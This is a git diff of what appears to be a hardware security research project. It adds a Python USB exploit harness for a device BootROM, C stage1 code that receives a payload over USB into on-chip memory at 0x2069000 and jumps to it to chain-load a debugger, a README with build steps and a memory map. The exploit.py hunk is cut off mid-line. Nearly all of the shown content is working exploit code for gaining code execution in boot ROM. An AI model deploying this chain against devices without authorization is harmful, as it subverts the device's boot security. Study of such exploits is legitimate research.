diff --git a/source/exploit/.vscode/launch.json b/source/exploit/.vscode/launch.json index ed07101..c52f88f 100644 --- a/source/exploit/.vscode/launch.json +++ b/source/exploit/.vscode/launch.json @@ -11,6 +11,14 @@ "program": "exploit.py", "console": "integratedTerminal", "args": ["--debug"] + }, + { + "name": "Run chain", + "type": "debugpy", + "request": "launch", + "program": "exploit.py", + "console": "integratedTerminal", + "args": [] } ] } \ No newline at end of file diff --git a/source/exploit/Readme.md b/source/exploit/Readme.md new file mode 100644 index 0000000..1e2e347 --- /dev/null +++ b/source/exploit/Readme.md @@ -0,0 +1,17 @@ +# Exploit +Python implementation of Frederick's exploit. This gives a bit more insight in the bug. + +## Debugger +The debugger is used for chain loading the next stages. See the documentation folder for more docs + +## Usage +Navigate to stage1 and build it: +``` +export ANDROID_NDK_ROOT=$TOOLCHAINENV/android-ndk-r21_Linux +make +``` +This will build stage1 + +```bash +python3 exploit.py +``` \ No newline at end of file diff --git a/source/exploit/dwc3.elf b/source/exploit/dwc3.elf deleted file mode 100755 index 1531389..0000000 Binary files a/source/exploit/dwc3.elf and /dev/null differ diff --git a/source/exploit/dwc3.o b/source/exploit/dwc3.o deleted file mode 100644 index bf81e16..0000000 Binary files a/source/exploit/dwc3.o and /dev/null differ diff --git a/source/exploit/entry.o b/source/exploit/entry.o deleted file mode 100644 index cfc037f..0000000 Binary files a/source/exploit/entry.o and /dev/null differ diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index d6cbd79..e20d448 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -3,6 +3,7 @@ import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * +from ghidra_assistant.concrete_device import * def p32(x): return struct.pack("
USB Download buffer
0x02021800
0x02070000
stage1 (502 bytes)
0x2021a00
0x206fe00
usb_recv buffer (512 bytes)
0x2069000
Gupje (0x6000 bytes reserved)
Unknown IMEM?
0x2????????
BootROM
0x0
 \ No newline at end of file diff --git a/source/exploit/stage1/stage1.c b/source/exploit/stage1/stage1.c new file mode 100644 index 0000000..63f3f12 --- /dev/null +++ b/source/exploit/stage1/stage1.c @@ -0,0 +1,86 @@ +#include + +// Create external function at 0x00006f88 +extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer); +extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len); +extern int usb_event_handler(void); +extern uint32_t get_endpoint_recv_buffer(char endpoint); +extern void sleep(int endpoint,uint32_t timeout); +extern void usb_send(uint32_t address,uint32_t size); +extern void rom_send(); + +#define recv_buffer 0x206fe00 //0x02021800 + 0x3000 +#define data_received 0x206fd00 + +void recv_data_cb(uint32_t endpoint, uint32_t len){ + char *dest_buf = (char *)recv_buffer; + volatile void *dref = (void *)data_received; + + void *rbuf = get_endpoint_recv_buffer(endpoint); + for(int i= 0; i < len; i++){ + dest_buf[i] = *(char *)(void *)((int)rbuf + i); + } + *(uint8_t *)dref = 1; // Mark as ready +} + +void recv_data(uint32_t address, uint32_t size){ + // + volatile void *dref = (void *)data_received; + *(uint8_t *)dref = 0; + + maybe_usb_setup_read(2, recv_data_cb, 0x200); + uint32_t rbuf = get_endpoint_recv_buffer(2); + dwc3_ep0_start_trans(2, rbuf, 0x200); + while(1){ + usb_event_handler(); + if(*(uint8_t *)dref == 1){ + break; + } + } + // Copy to destination location + char *dest_buf = (char *)address; + for(int i= 0; i < size; i++){ + dest_buf[i] = *(char *)(void *)((int)recv_buffer + i); + } +} + +// void send_data_cb(uint32_t endpoint, uint32_t len){ +// // Tell event handler that the data was received +// volatile void *dref = (void *)data_received; +// *(uint8_t *)dref = 1; // Mark as ready +// } + +// void send_data(uint32_t address, uint32_t size){ +// volatile void *dref = (void *)data_received; +// *(uint8_t *)dref = 0; +// maybe_usb_setup_read(0x1, send_data_cb, size); +// // uint32_t rbuf = get_endpoint_recv_buffer(1); +// dwc3_ep0_start_trans(1, address, size); +// while(1){ +// usb_event_handler(); +// if(*(uint8_t *)dref == 1){ +// break; +// } +// } +// } +#define debugger_location 0x2069000 + +int main() { + // First payload is 0x2000 in size + int block_sz = 0x200; + int to_recv = 0x2000; + for(int block = 0; block < to_recv; block+=block_sz){ + recv_data(0x2069000 + block, block_sz); + } + + // Create function at debugger_location + void (*custom_func)() = (void*)0x2069000; //mem_off; + custom_func(); + + // uint32_t count = 0; + // while(1){ + // // recv_data(); + // // send_data(recv_buffer, 0x200); + // // send_data("GiAs", 4); + // } +} \ No newline at end of file diff --git a/source/exploit/symbols.txt b/source/exploit/stage1/symbols.txt similarity index 100% rename from source/exploit/symbols.txt rename to source/exploit/stage1/symbols.txt diff --git a/source/exploit/test_dwc3.c b/source/exploit/test_dwc3.c deleted file mode 100644 index b50ba48..0000000 --- a/source/exploit/test_dwc3.c +++ /dev/null @@ -1,72 +0,0 @@ -#include - -// Create external function at 0x00006f88 -extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer); -extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len); -extern int usb_event_handler(void); -extern uint32_t get_endpoint_recv_buffer(char endpoint); -extern void sleep(int endpoint,uint32_t timeout); -extern void usb_send(uint32_t address,uint32_t size); -extern void rom_send(); - -#define recv_buffer 0x02021800 + 0x3000 -#define data_received 0x02021800 + 0x2004 - -void recv_data_cb(uint32_t endpoint, uint32_t len){ - char *dest_buf = (char *)recv_buffer; - volatile void *dref = (void *)data_received; - - void *rbuf = get_endpoint_recv_buffer(endpoint); - for(int i= 0; i < len; i++){ - dest_buf[i] = *(char *)(void *)((int)rbuf + i); - } - *(uint8_t *)dref = 1; // Mark as ready -} - -void recv_data(){ - // Set data_received to 0 - // uint32_t *r = (uint32_t *) data_received; - // r = 0; - volatile void *dref = (void *)data_received; - *(uint8_t *)dref = 0; - - maybe_usb_setup_read(2, recv_data_cb, 0x200); - uint32_t rbuf = get_endpoint_recv_buffer(2); - dwc3_ep0_start_trans(2, rbuf, 0x200); - while(1){ - usb_event_handler(); - if(*(uint8_t *)dref == 1){ - break; - } - } -} - -void send_data_cb(uint32_t endpoint, uint32_t len){ - // Tell event handler that the data was received - volatile void *dref = (void *)data_received; - *(uint8_t *)dref = 1; // Mark as ready -} - -void send_data(uint32_t address, uint32_t size){ - volatile void *dref = (void *)data_received; - *(uint8_t *)dref = 0; - maybe_usb_setup_read(0x1, send_data_cb, 0x200); - // uint32_t rbuf = get_endpoint_recv_buffer(1); - dwc3_ep0_start_trans(1, address, 0x200); - while(1){ - usb_event_handler(); - if(*(uint8_t *)dref == 1){ - break; - } - } -} - - -int main() { - - uint32_t count = 0; - while(1){ - recv_data(); - send_data(recv_buffer, 0x200); - } -} \ No newline at end of file